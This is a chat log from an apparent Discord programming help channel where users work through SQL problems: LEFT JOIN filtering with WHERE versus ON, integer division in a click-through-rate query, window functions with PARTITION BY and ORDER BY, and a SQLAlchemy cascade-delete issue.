You should include the employees who didn't run any queries during that time period it says which basically means include the employees who have no relationship with the queries table.

#

The date range condition is another condition with joining the employees with the queries table.

wooden topaz
wise wind
#

number 2

wooden topaz
# wise wind number 2

this is where exactly i get confused.
Additionally, it should count the number of employees who did not run any queries during this period. pls see the highligted word. it says during this period, means it is asking list of employees who did not executed any query during this period.

wise wind
wooden topaz
# wise wind Yeah these problems can be confusing and miswritten. I think it's asking to incl...

yes. this line is some what misleading --> this is what totally confused me. By reading this line, i though like: so, it is always asking the employees who are in the mentioned date range. If the number 2 is like below, then it would be much more meaningful, you agree?
2. Additionally, it should count the number of employees who did not run any queries.
i removed during this period from the statement.

wise wind
wise wind
coral wasp
#

In other words, the histogram will show: 10 employees ran 0 queries, 15 employees ran 1 query, 5 employees ran 10 queries, and 1 employee ran 19 queries

wooden topaz
coral wasp
#

First, you can use 'between'

#

Second; because you want to join on rows that meet that criteria.

wooden topaz
coral wasp
#

Sure but the question requires an outer join, right?

wooden topaz
#

when i do this, all those employees who dont even run one query also gets covered(In the question, they asked to cover such employees too)

#

BUT DOING LIKE THIS IS WRONG.....When i do like this, in the output below row is getting missed. I am trying to understand the logic, where the wrong is happening....

unique_queries  employee_count
0               94
coral wasp
#

What query are you saying is missing the output?

wooden topaz
coral wasp
wooden topaz
# coral wasp Yes, what query are you running and what is its output?
SELECT unique_queries, COUNT(employee_id) employee_count
FROM 
(
SELECT e.employee_id employee_id, COALESCE(COUNT(DISTINCT q.query_id),0) unique_queries
FROM employees e
LEFT JOIN queries q
ON e.employee_id = q.employee_id
WHERE q.query_starttime >= '2023-07-01T00:00:00Z' 
AND q.query_starttime < '2023-10-01T00:00:00Z' 
GROUP BY(e.employee_id)
)AS sub_query
GROUP BY unique_queries
ORDER BY unique_queries
#

From this output, below row is missing:

#
unique_queries  employee_count
0               94
#

The actual query which is present inside the solution tab is:

WITH employee_queries AS (
  SELECT 
    e.employee_id,
    COALESCE(COUNT(DISTINCT q.query_id), 0) AS unique_queries
  FROM employees AS e
  LEFT JOIN queries AS q
    ON e.employee_id = q.employee_id
      AND q.query_starttime >= '2023-07-01T00:00:00Z'
      AND q.query_starttime < '2023-10-01T00:00:00Z'
  GROUP BY e.employee_id
)

SELECT
  unique_queries,
  COUNT(employee_id) AS employee_count
FROM employee_queries
GROUP BY unique_queries
ORDER BY unique_queries;
#

and the output is:

coral wasp
#

As a where, it's applied after the join. For an inner join, it doesn't matter. For an outer, it does

wooden topaz
#

when i do this, all those employees who dont even run one query also gets covered

FROM employees e
LEFT JOIN queries q
#

then we can apply filter through WHERE clause right?

coral wasp
wooden topaz
#

by the way: any idea why the below query is giving all ctr's as 0?

SELECT app_id "app_id",
(
SUM(
CASE
  WHEN event_type = 'clicks'
  THEN 1
  ELSE 0
END
)/
SUM
(
CASE
  WHEN event_type = 'impression'
  THEN 1
  ELSE 0
END
)
)*100 AS ctr
FROM events
WHERE timestamp >= '2022-01-01' 
  AND timestamp < '2023-01-01'
GROUP BY(app_id)
coral wasp
#

Right?

wooden topaz
#

Right & in place of columns from b, we will get NULL

coral wasp
#

Yes, and what happens when I filter that result where b.date > somedate?

#

Specifically: What happens when b.date is null?

#

Alternatively: what is 'null > somedate'

coral wasp
wooden topaz
#

May be how about proceeding with below example data...

employees 
employee_id    full_name              gender
1              Judas Beardon          Male
2              Lainey Franciotti      Female

queries
employee_id    query_id    query_starttime            execution_time
226            856987      07/01/2023 01:04:43        2698
132            286115      07/01/2023 03:25:12        2705
221            33683       07/01/2023 04:34:38        91
240            17745       07/01/2023 14:33:47        2093
110            413477      07/02/2023 10:55:14        470

As per your first qn, When below query is executed on above data:

SELECT e.employee_id, e.full_name, q.query_id
FROM employees e
LEFT JOIN queries q
ON e.employee_id = q.employee_id

Output is:

employee_id    full_name              query_id
1              Judas Beardon          NULL
2              Lainey Franciotti      NULL
coral wasp
#

What are you asking?

wooden topaz
coral wasp
#

I was explaining why your condition in the where clause will remove null values.

wooden topaz
coral wasp
wooden topaz
coral wasp
#

You need to practice debugging the queries by writing simple queries first, and then combining the logic. Otherwise small errors creep in

wooden topaz
#
SELECT app_id "app_id",
(
SUM(
CASE
  WHEN event_type = 'click'
  THEN 1
  ELSE 0
END
)/
SUM
(
CASE
  WHEN event_type = 'impression'
  THEN 1
  ELSE 0
END
)
)*100 AS ctr
FROM events
WHERE timestamp >= '2022-01-01' 
  AND timestamp < '2023-01-01'
GROUP BY(app_id)
coral wasp
wooden topaz
coral wasp
#

What I'm saying is: compute the sums separately first, and inspect the results, before combining them into a formula.

#

Check the sum of clicks, and impressions, before combining them into a formula

rotund lintel
#

(
SUM(
CASE
WHEN event_type = 'click'
THEN 1
ELSE 0
END
)/
SUM
(
CASE
WHEN event_type = 'impression'
THEN 1
ELSE 0
END
)
)*100 AS ctr

torn sphinx
#

I am trying to install mysql on the aws ec2 computer, log in to my mysql account, and create a mysql database in it, then in django connect to that database. why is my sql download red?

shut tiger
torn sphinx
shut tiger
torn sphinx
wooden topaz
#

Related to https://datalemur.com/questions/sql-highest-grossing

SELECT category, product, sum total_spend, 
ROW_NUMBER() OVER(
  PARTITION BY category, product ORDER BY sum DESC
)
FROM
(
SELECT category, product, SUM(spend) sum
FROM product_spend 
WHERE EXTRACT(year FROM transaction_date) = '2022'
GROUP BY  category, product
ORDER BY sum DESC
) AS sub_query

Pls look at the 3rd line(PARTITION BY). There i mentioned ORDER BY sum DESC, whcih means, data should be sorted based on sum column from highest to lowest, right? but, still i see the other way!

shut tiger
frank lance
#

Hey I was designing tables diagrams for DB and I included images with them but when I show them to professional he said u can’t include pictures in db what the reason and where should I do?

#

I’m not really familiar with database buildings

shut tiger
frank lance
shut tiger
wise wind
#

When cleaning up my tests aka deleting the users in the table I get this error: sqlalchemy.exc.PendingRollbackError: This Session's transaction has been rolled back due to a previous exception during flush. To begin a new transaction with this Session, first issue Session.rollback(). Original exception was: (sqlalchemy.dialects.postgresql.asyncpg.IntegrityError) <class 'asyncpg.exceptions.NotNullViolationError'>: null value in column "receiver" of relation "dms" violates not-null constraint E DETAIL: Failing row contains (1, current_user, null). E [SQL: UPDATE dms SET receiver=$1::VARCHAR WHERE dms.id = $2::INTEGER] E [parameters: (None, 1)] E (Background on this error at: https://sqlalche.me/e/20/gkpj) (Background on this error at: https://sqlalche.me/e/20/7s2a)
The dm is dependent on the users but I set the dm foreign key constraints to ON DELETE CASCADE so I don't know why sqlalchemy or postgres is running an update statement.

torn sphinx
shut tiger
torn sphinx
shut tiger
coral wasp
coral wasp
coral wasp
wise wind
#

I found the weirdest bug in postgres/sqlalchemy where when it deletes a row in my Users table, it just updates Dms table's foreign key that references the Users table to null even though I explicitly set the on delete to CASCADE. It even shows that in the foreign key constraint info when I look up the table's configurations.

wooden topaz
#
SELECT 
category,  
product, 
total_spend
WHERE 
ROW_NUMBER() OVER(
  PARTITION BY category
) <= 2
FROM
(
SELECT 
category,   
product, 
SUM(spend) AS total_spend
FROM product_spend 
WHERE EXTRACT(year FROM transaction_date) = '2022'
GROUP BY category, product
ORDER BY category, total_spend DESC
)AS sub_query

Error
syntax error at or near "FROM" (LINE: 9)

coral wasp
#

You'll see you have a syntax error

torn sphinx
#

guys I'm using sqlalchemy v2 and I'm trying to load relationships from the database but the problem occurs is that
it's taking a lot of time (10s) to process the data which is making my api slow.

shut tiger
#

<@&831776746206265384>

rich trout
#

!pban 632845771640799232 job ad spam

delicate fieldBOT
#

:x: User is already permanently banned (#97864).

wise wind
clever plinth
#

Hey all!

A bit of an unusual request, but I'm looking for personal experiences & stories relating to working with SQL databases. It could be a schema migration task that took longer than expected, ORM configuration, or maybe something else entirely. Funny, positive, negative - anything really.

It's for an educational presentation and I'm trying to bring some storytelling into it, but it's harder than expected. ducky_sphere

wise wind
clever plinth
wise wind
clever plinth
shut tiger
wise wind
shut tiger
wise wind
#

I'm doing a unit test and at the end of the test, it deletes the test users which the dm row references. Then, it runs an update statement on the dms row setting the foreign key that references the user being deleted to null.

shut tiger
shut tiger
wise wind
shut tiger
#

yea, that makes more sense

finite crow
#

https://www.geeksforgeeks.org/window-functions-in-sql/
Why does ORDER BY in the window function do this? It makes no sense. Is there a good explanation for why this happens?

Here we also order the records within the partition as per age values and hence the average values change as per the sorted order.
I don't get what it's trying to say.

wooden topaz
coral wasp
coral wasp
#

Let's give a real example:

wise wind
coral wasp
#
SELECT age, 
    row_number() over (partition by age order by height) as height_rank_by_age
FROM people;
coral wasp
finite crow
#

But it says it makes the averages wrong.

#

I don't get why it would do that. With AVG, I don't get why it would change anything except what order the rows are listed in.

shut tiger
wise wind
shut tiger
shut tiger
wise wind
coral wasp
shut tiger
wise wind
#

So you were right

coral wasp
#
SELECT ticker, 
  industry,
  return_1y,
  row_number() over (partition by industry order by return_1y desc) return_by_industry_rank
FROM
  return_summary
#

For each ticker, this tells me which companies had the best return within their industry.

coral wasp
finite crow
#

I don't get why using ORDER BY changes the result of the aggregate function on their example where they use AVG.

coral wasp
#

One sec, I'll cook up an example

#

Ok, so here's the confusing stuff: partition by itself = the aggregate is applied to population. order by the aggregate is applied to rows preceding and including the current row, rows between (framing) allows you to fine tune which rows are included.

finite crow
#

So for finance, first row is average of 50000, second is average of 50000 and 50000, third is average of 50000, 50000, and 20000. Then for sales, first row is average of 30000, second row is average of 30000 and 20000. And also it makes the rows get listed in age order per partition.

coral wasp
#
#

See example above.

coral wasp
finite crow
#

That's interesting. I wish the webpage explained that.

#

Or maybe it did and I'm just overlooking it.